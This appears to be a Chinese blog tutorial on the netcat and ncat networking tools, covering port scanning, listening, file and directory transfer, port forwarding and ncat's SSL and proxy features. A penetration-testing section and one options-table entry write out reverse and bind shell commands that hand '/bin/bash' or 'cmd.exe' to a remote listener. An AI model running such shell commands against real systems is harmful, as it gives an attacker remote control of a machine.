Netcat(简称 nc)被称为“网络瑞士军刀”,支持 TCP/UDP 端口扫描、数据传输、端口监听、代理转发 等功能。
语法
nc [选项] [目标IP] [端口]
# 常用命令参数
(1)连接与扫描
| 参数 | 说明 | 示例 |
|---|---|---|
-zv | 扫描端口(不发送数据) | nc -zv 192.168.1.1 80 |
-w | 设置超时时间(秒) | nc -w 3 192.168.1.1 22 |
-u | 使用UDP协议(默认TCP) | nc -u 192.168.1.1 53 |
(2)监听模式
| 参数 | 说明 | 示例 |
|---|---|---|
-l | 监听模式(服务端) | nc -l 8080 |
-p | 指定监听端口 | nc -l -p 9000 |
-k | 保持监听(允许多次连接) | nc -lk 8080 |
(3)数据传输
| 参数 | 说明 | 示例 |
|---|---|---|
-n | 禁用DNS解析(纯IP模式) | nc -n 192.168.1.1 80 |
-v | 显示详细输出(Verbose) | nc -v example.com 443 |
-e | 执行命令(危险!) | nc -l -p 4444 -e /bin/bash |
(4)文件传输
| 参数 | 说明 | 示例 |
|---|---|---|
-q | 传输后断开(配合重定向) | nc -q 1 192.168.1.1 1234 < file.txt |
-N | 发送EOF后关闭连接 | nc -N 192.168.1.1 1234 < file.txt |
# 实用案例
(1)端口扫描
nc -zv 192.168.1.1 20-80 # 扫描20-80端口
nc -zv example.com 22 80 443 # 检查多个端口
(2)监听端口(接收数据)
nc -l -p 8080 # 监听8080端口(TCP)
nc -lu 8080 # 监听UDP端口
(3)发送HTTP请求
echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80
(4)文件传输
发送文件(服务端监听,客户端发送):
# 接收端(服务端)
nc -l -p 1234 > received_file.txt
# 发送端(客户端)
nc -N 192.168.1.1 1234 < send_file.txt
(5)反向Shell(渗透测试)
# 攻击机监听
nc -lvnp 4444
# 目标机连接(Linux)
nc -e /bin/bash 192.168.1.100 4444
# Windows(需nc版本支持)
nc.exe 192.168.1.100 4444 -e cmd.exe
# 高级用法
(1)端口转发(代理)
nc -l -p 8080 | nc 192.168.1.2 80 # 将本地8080转发到192.168.1.2:80
(2)聊天室(双机通信)
# 主机A(监听)
nc -l -p 9999
# 主机B(连接)
nc 192.168.1.1 9999
(3)测试UDP服务(如DNS)
nc -u 8.8.8.8 53 # 手动输入DNS查询数据
-
-e参数可能被滥用(反向Shell),生产环境禁用。 -
数据传输不加密,敏感操作建议用
ncat(SSL支持)或SSH。
# ncat 命令详解
| 工具 | 开发者 | 维护状态 | 特点 |
|---|---|---|---|
netcat | 原始版本(Hobbit) | 已停止维护 | 经典、轻量,但功能有限 |
ncat | Nmap 团队 | 活跃维护 | 增强版,支持SSL、IPv6、多线程等 |
| 功能 | netcat (nc) | ncat |
|---|---|---|
| 加密支持 | ❌ 明文传输 | ✅ SSL/TLS 加密 |
| IPv6 | 部分版本支持 | ✅ 完整支持 |
| 多线程/并发连接 | ❌ 单线程 | ✅ 支持多线程 |
| 代理转发 | 基础TCP/UDP转发 | ✅ 支持HTTP/SOCKS代理 |
| 连接超时控制 | 有限支持(-w 参数) | ✅ 更精细的超时设置 |
| 命令执行(-e) | 部分版本支持 | ✅ 支持,且更安全 |
| 数据持久化 | ❌ 连接断开后数据丢失 | ✅ 支持数据缓存和重传 |
(1)netcat(nc)的适用场景
-
快速端口扫描:
nc -zv 192.168.1.1 20-80
-
简易文件传输:
# 接收端 nc -l -p 1234 > file.txt # 发送端 nc 192.168.1.1 1234 < file.txt
-
临时网络调试(如HTTP请求测试):
echo "GET / HTTP/1.1" | nc example.com 80
(2)ncat 的增强功能
-
加密通信(SSL):
# 服务端(监听加密端口) ncat -l 443 --ssl # 客户端(连接) ncat --ssl 192.168.1.1 443
-
多客户端并发处理:
ncat -l 8080 --keep-open --allow 192.168.1.0/24
-
通过代理连接:
ncat --proxy-type http --proxy 1.2.3.4:8080 example.com 80
# 文件传输案例
# 传输文件
# 情况1
# 接收方
# 监听9995端口接收到的数据都写到file文件里
nc -l 9995 >zabbix.rpm
# 发送方
# 往B机器的9995端口发送数据,把下面文件送过去
nc 10.0.1.162 9995 < 1.txt
# 情况2
# 发送方
# 通过本地的9992端口发送1.txt文件
nc -l 9992 <1.txt
# 接收方
# 通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为2.txt
nc 10.0.1.162 9992 >test2.mv
# 情况3
# 传输文件夹
# A机器给B机器发送多个文件,传输目录需要结合其它的命令,比如tar
# 管道后面最后必须是 - ,不能是其余自定义的文件名
# B机器开启监听
nc -l 9995 | tar xfvz -
# A机器打包文件并连接B机器的端口
# 管道前面表示把当前目录的所有文件打包为 - ,然后使用nc发送给B机器
tar cfz - * | nc 10.0.1.162 9995
# B机器自动接收和解压
425

被折叠的 条评论
为什么被折叠?



